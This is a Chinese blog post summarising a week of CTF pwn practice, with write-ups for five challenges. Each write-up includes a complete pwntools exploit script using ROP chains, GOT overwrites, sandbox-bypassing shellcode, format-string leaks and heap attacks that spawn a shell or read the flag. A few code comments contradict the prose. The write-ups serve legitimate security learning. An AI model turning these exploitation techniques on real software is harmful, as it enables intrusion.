24-07-15

本周学习总结

CTFの康复训练

全局常量声明:文章内容仅是由教程观点和自己总结获得,仅供参考。

一、[2024春秋杯夏季联赛]–stdout

check:

64位程序,开启NX。

ida分析:

main:

vuln:

看起来是个常见的缓冲区溢出漏洞,但是在init函数中设置输出缓冲区初始化的时候关闭了输出导致不能产生然后回显,所以不能暴露任何地址或信息,还容易造成缓冲区混乱。

init:

在libc源代码中发现了函数setvbuf(0x84CE0)附近有syscall(0x84CC9),可以通过修改got表改setvbuf为syscall,通过ROP和read调用来在bss段上写入一个”/bin/sh\x00”,通过read的输入来设置rax=0x3B。最后通过ret_csu来建立ROP最后getshell。

在exp编写过程中需要时刻注意缓冲区混乱问题,该填充的地方填充,该暂停的地方暂停,使用gdb调试需要取消注释pause(),直接运行不需要取消注释pause()。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def cp():
p.close()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def raddr_T():
return int(re(14), 16)

def getorw(name, buf):
sh = shellcraft.open(name)
sh += shellcraft.read(3, buf, 0x30)
sh += shellcraft.write(1, buf, 0x30)
sh = asm(sh)
return sh

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

# ==================== 程序连接配置 ====================

# p = remote({IP})
p = process("./one")

# ==================== ELF 和上下文配置 ====================

elf = ELF("./one")
libc = ELF("./libc-2.31.so")

# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'
# elf.arch, elf.so

# ==================== 地址和 gadget 定义 ====================

vuln = 0x40125D
main = 0x401333
bss = 0x404070 + 0x100
read_plt = elf.plt["read"]
setvbuf_got = elf.got["setvbuf"]
pop_rsi_r15 = 0x4013D1
pop_rdi = 0x4013D3
csu1 = 0x4013CA
csu2 = 0x4013B0

# ==================== 漏洞利用 ====================

# 第一轮:栈溢出,返回到vuln函数
payload = b"A" * 0x58 + p64(vuln)
# gdbp(p)
se(payload)
sleep(0.1)

# 第二轮:ROP链 - 将/bin/sh写入bss段
payload = b"A" * 0x28 + p64(pop_rsi_r15) + p64(bss) + p64(0) + p64(read_plt) + p64(vuln)
payload = payload.ljust(0x200, b"\x00")
se(payload)
sleep(0.1)

# 发送 /bin/sh 字符串到bss段
se(b"/bin/sh\x00")
sleep(0.1)

# 第三轮:ROP链 - 修改setvbuf_got为system,并调用
payload = b"B" * 0x28
payload += p64(pop_rsi_r15) + p64(setvbuf_got) + p64(0) + p64(read_plt)
payload += p64(pop_rsi_r15) + p64(bss + 0x200) + p64(0) + p64(read_plt) + p64(csu1) + p64(0)
payload += p64(1) + p64(bss) + p64(0) * 2 + p64(setvbuf_got) + p64(csu2)
payload = payload.ljust(0x200, b"\x00")

# pause()
se(payload)
sleep(0.1)

# 修改setvbuf_got低字节为system地址
# pause()
se(b"\xc9")
sleep(0.1)

# 发送system参数
se(b"A" * 0x3B)

# 进入交互模式
op()

二、[2024春秋杯夏季联赛]–Shuffled_Execution

check:

64位程序,保护全开。

沙盒规则:

禁用了获取shell的可能,考虑通过ORW来获取flag,禁用了部分ORW函数,通过筛选考虑使用openat代替open,使用mmap代替read,使用writev代替write。

openat:

rdi = -100(代表当前目录)

rsi = “flag”的地址

rdx= 0(只读方式打开)

rax= 257

mmap:

rdi = 0

rsi = 0x20(读取的大小)

rdx = 1(可读权限)

r10 = 0x2

r8 = 3(fd文件流)

r9 = 0

writev:

rdi = 1

rsi = 指向flag起始地址的地址(例:0x13374f0 —▸ 0x7efff6e4e000 ◂— ‘flag{test}\n’)

rdx = 1

该函数输出的长度由rsi+0x8地址指向的值来决定,通过mov qword ptr [rsi+0x8], 0x20来设置输出0x20字符

ida:

mian:

shffle:

entrance:

函数shffle看起来是混淆我们输入的内容,但是如果我们在输入的内容最前面加入\x00来触发截断使得a2的值小于或等于1就不会触发混淆。entrance函数直接执行了我们的shellcode。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def cp():
p.close()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def raddr_T():
return int(re(14), 16)

def getorw(name, buf):
sh = shellcraft.open(name)
sh += shellcraft.read(3, buf, 0x30)
sh += shellcraft.write(1, buf, 0x30)
sh = asm(sh)
return sh

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

# 远程连接(IP 地址待填写)
# p = remote({IP})
p = process("./Shuffled_Execution")

# 本地调试选项(已注释)
# elf = ELF("./pwn")
# libc = ELF("./libc.so.6")

# 调试与架构设置
# context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'

# 漏洞利用流程
payload = '''
mov eax,0
add rsp,0x0000000001337500
mov rbx,0x0000000067616C66
push rbx
mov rdi,-100
mov rsi,rsp
xor rdx,rdx
mov rax,257
syscall
xor rdi,rdi
mov rsi,0x20
mov rdx,1
mov r8,3
mov r9,0
mov r10,0x2
mov rax,9
syscall
mov rdi,1
mov rdx,1
push rax
mov rsi,rsp
mov qword ptr [rsi+0x8], 0x20
mov rax,20
syscall
'''

shellcode = asm(payload)
print("ShellcodeLen: " + hex(len(shellcode)))

sea(b"entrance.\n", shellcode)
op()

三、[2024春秋杯夏季联赛]–SavethePrincess

check:

64位程序,保护全开。

沙盒规则:

ida分析:

main:

init:

生成了8位的密码在love中,范围是”a”-“z”。

magic:

magic中发现了字符串格式化漏洞(不是哥们,真爆破啊)。

Challenge:

缓冲区溢出漏洞。

通过爆破密码来获得字符串格式化的机会,泄漏stack地址、libc基地址、canary的值。

通过mprotect函数来使得栈可读可写可执行,在栈上写shellcode,通过openat+mmap+write实现ORW。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def cp():
p.close()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def raddr_T():
return int(re(14), 16)

def getorw(name, buf):
sh = shellcraft.open(name)
sh += shellcraft.read(3, buf, 0x30)
sh += shellcraft.write(1, buf, 0x30)
sh = asm(sh)
return sh

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

# ==================== 程序连接配置 ====================

# p = remote({IP})
p = process("./SavethePrincess")

# ==================== ELF 和上下文配置 ====================

# elf = ELF("./pwn")
# libc = ELF("./libc.so.6")

# context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'

# elf.arch, elf.so

# ==================== 密码爆破函数 ====================

def getpasswd():
i = 0
for a in range(0x61, 0x7B):
for b in range(0x61, 0x7B):
for c in range(0x61, 0x7B):
for d in range(0x61, 0x7B):
for e in range(0x61, 0x7B):
for f in range(0x61, 0x7B):
for g in range(0x61, 0x7B):
for h in range(0x61, 0x7B):
sela(b"> \n", stre(1))
passwd = "{0}{1}{2}{3}{4}{5}{6}{7}".format(
chr(a), chr(b), chr(c),
chr(d), chr(e), chr(f),
chr(g), chr(h))
sea(b"password: \n", passwd.encode())
i = i + 1
if i % 100000 == 0:
print("have tried:" + str(i))
if b"successfully, Embrace the power!!!" in rel():
print("Find! password is :" + passwd)
print("have tried:" + str(i))
return

# getpasswd()

# ==================== 漏洞利用 ====================

# 泄露栈地址、canary和libc基址
payload = b"-%10$p-%13$p-%15$p-"
se(payload)

reu(b"-")
stack = int(reu(b"-", True), 16)
canary = int(reu(b"-", True), 16)
libc_base = int(reu(b"-", True), 16) - 0x29d90

ph(stack, "stack")
ph(canary, "canary")
ph(libc_base, "libc_base")

sela(b"> \n", stre(2))

# ROP gadget 地址
pop_rdi = libc_base + 0x2a3e5
pop_rsi = libc_base + 0x2be51
pop_rax_rdx_rbx = libc_base + 0x904a8
syscall = libc_base + 0x115AFC

# shellcode: openat + mmap + write 读取flag
shellcode = asm('''
mov rbx, 0x0000000067616C66 # "flag"
push rbx
mov rdi, -100 # AT_FDCWD
mov rsi, rsp # filename
xor rdx, rdx
mov rax, 257 # syscall openat
syscall

xor rdi, rdi
mov rsi, 0x20
mov rdx, 1
mov r8, 3
mov r9, 0
mov r10, 0x2
mov rax, 9 # syscall mmap
syscall

mov rdi, 1
mov rsi, rax
mov rdx, 0x20
mov rax, 1 # syscall write
syscall
''')

# 构造ROP链 + shellcode
payload = b"A" * 0x38 + p64(canary) + p64(stack) + p64(pop_rdi) + p64((stack >> 12) << 12) + p64(pop_rsi)
payload += p64(0x2000) + p64(pop_rax_rdx_rbx) + p64(0xA) + p64(0x7) + p64(0) + p64(syscall)
payload += p64(stack + 0x38) + shellcode

sea(b"Attack the dragon!!\n", payload)

# 进入交互模式
op()

四、[WKCTF]–Easy_stack–手气局

check:

开启了NX和PIE。

漏洞点:

存在字符串格式化漏洞,可用于泄漏__libc_start_main的地址。

echo_inner存在一个offbynull,这意味着rbp可能会变化到我们输入的地址中,再配合合适的payload构造和一点点小手气,我们就能getshell。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def cp():
p.close()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def raddr_T():
return int(re(14), 16)

def getorw(name, buf):
sh = shellcraft.open(name)
sh += shellcraft.read(3, buf, 0x30)
sh += shellcraft.write(1, buf, 0x30)
sh = asm(sh)
return sh

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

# 远程连接(已注释)
# p = remote("110.40.35.73", 33558)
p = process("./ezstack")

# 本地调试选项(已注释)
# elf = ELF("./pwn")
libc = ELF("./libc.so.6")

# 调试与架构设置
# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'

# 漏洞利用流程
sea(b"continue\n", b"\n")
sela(b"number: ", stre(27))
reu(b"Your magic number is: ")

libc_start_main = int(re(12), 16)
ph(libc_start_main, "libc_start_main")

libc_base = libc_start_main - libc.sym["__libc_start_main"] - 231
ph(libc_base, "libc_base")

pop_rdi = libc_base + 0x2164f
bin_addr = libc_base + 0x1b3d88
sys_addr = libc_base + libc.sym["system"]
ret = libc_base + 0x8aa

sela(b"(max 256)? ", stre(0x100))

payload = b"A" * 0x88 + p64(ret) + p64(pop_rdi) + p64(bin_addr) + p64(sys_addr) + b"B" * 0x58

gdbp(p)
se(payload)
op()

五、[WKCTF]–baby_heap–看不懂,我转fastbin打got表的(

TOP_chunk attack! - 0x71创造 - malloc(0)! - read(0,ptr,0x0)! -

Malloc_got -> one_getgad_addr ! )

check:

64位程序,开启canary和NX

ida:

main:

add:

edit:

show:

漏洞点为堆溢出,该堆题没有free函数,标准的house of orange,但是show函数只能输出堆块的fd地址,而我们想要的heap基地址在fd+0x10的位置,所以直接的house of orange仍然是打不了的,这里官方是推出了修复堆块地址的办法,熊队则是通过add设置堆块大小时将system的地址拼在了bss段上。

这里推荐另外一种朴素的办法。house of orange一般会预留较大的堆块使得被free的堆块进入unsortbins中,但是如果预留的堆块较小的话则会进入的fastbin中,我们可以利用fastbin attack来控制bss段上存放堆地址的位置来实现地址任意写,然后修改malloc的got表为one_gadget来getshell。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def cp():
p.close()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def raddr_T():
return int(re(14), 16)

def getorw(name, buf):
sh = shellcraft.open(name)
sh += shellcraft.read(3, buf, 0x30)
sh += shellcraft.write(1, buf, 0x30)
sh = asm(sh)
return sh

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

# ==================== 程序连接配置 ====================

# p = remote("110.40.35.73", 33642)
p = process("./heap")

# ==================== ELF 和上下文配置 ====================

elf = ELF("./heap")
libc = ELF("./libc-2.23.so")

# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'
# elf.arch, elf.so

# ==================== 功能函数定义 ====================

def add(size, content):
sela(b">", stre(1))
sela(b"Size :\n", stre(size))
sea(b"Content :\n", content)

def edit(index, size, content):
sela(b">", stre(2))
sela(b"Index :\n", stre(index))
sela(b"Size :\n", stre(size))
sea(b"Content :\n", content)

def show(index):
sela(b">", stre(3))
sela(b"Index :\n", stre(index))

# ==================== 漏洞利用 ====================

# 目标地址
target = 0x4040C0 - 0x4

# 步骤1: 分配chunk并修改top chunk size
add(0x40, b"A" * 0x18)
edit(0, 0x50, b"A" * 0x48 + p64(0xfb1))

# 步骤2: 触发House of Orange,释放旧top chunk
add(0x788, b"A")
add(0x788, b"A")

# 步骤3: 分配大chunk,触发sysmalloc
add(0x1000, b"A")

# 步骤4: Fastbin Attack准备
add(0x71, b"A")
edit(2, 0x798, b"A" * 0x788 + p64(0x71) + p64(target))

# 步骤5: 填充fastbin,清空tcache/fastbin
# 因为target地址附近找不到合适的值,我们可以自己创造一个合理的值
for i in range(7):
add(0x0, b"")

# 步骤6: 分配chunk到target地址附近
add(0x60, b"A")

# 步骤7: 构造payload覆盖bss段
payload = b"A" * 0x14 + p64(0x404038) + p64(0x404038)
add(0x60, payload)

# 步骤8: 泄露malloc地址,计算libc基址
show(0)
malloc_addr = raddr64()
ph(malloc_addr, "malloc_addr")

libc_base = malloc_addr - libc.sym["malloc"]
ph(libc_base, "libc_base")

# 步骤9: 覆盖malloc_hook为one_gadget
one = libc_base + 0xf1247
edit(1, 0x8, p64(one))

# 步骤10: 触发malloc,执行one_gadget
sela(b">", stre(1))
sela(b"Size :\n", stre(0x20))

# 进入交互模式
op()

下周学习计划

| 应该要做的事情 |

对pwn查漏补缺,准备扩展其他方向

学习感受

学就完事了。


24-07-15
https://zlsf-zl.github.io/2024/07/15/7-15-7-21/
作者
ZLSF
发布于
2024年7月15日
许可协议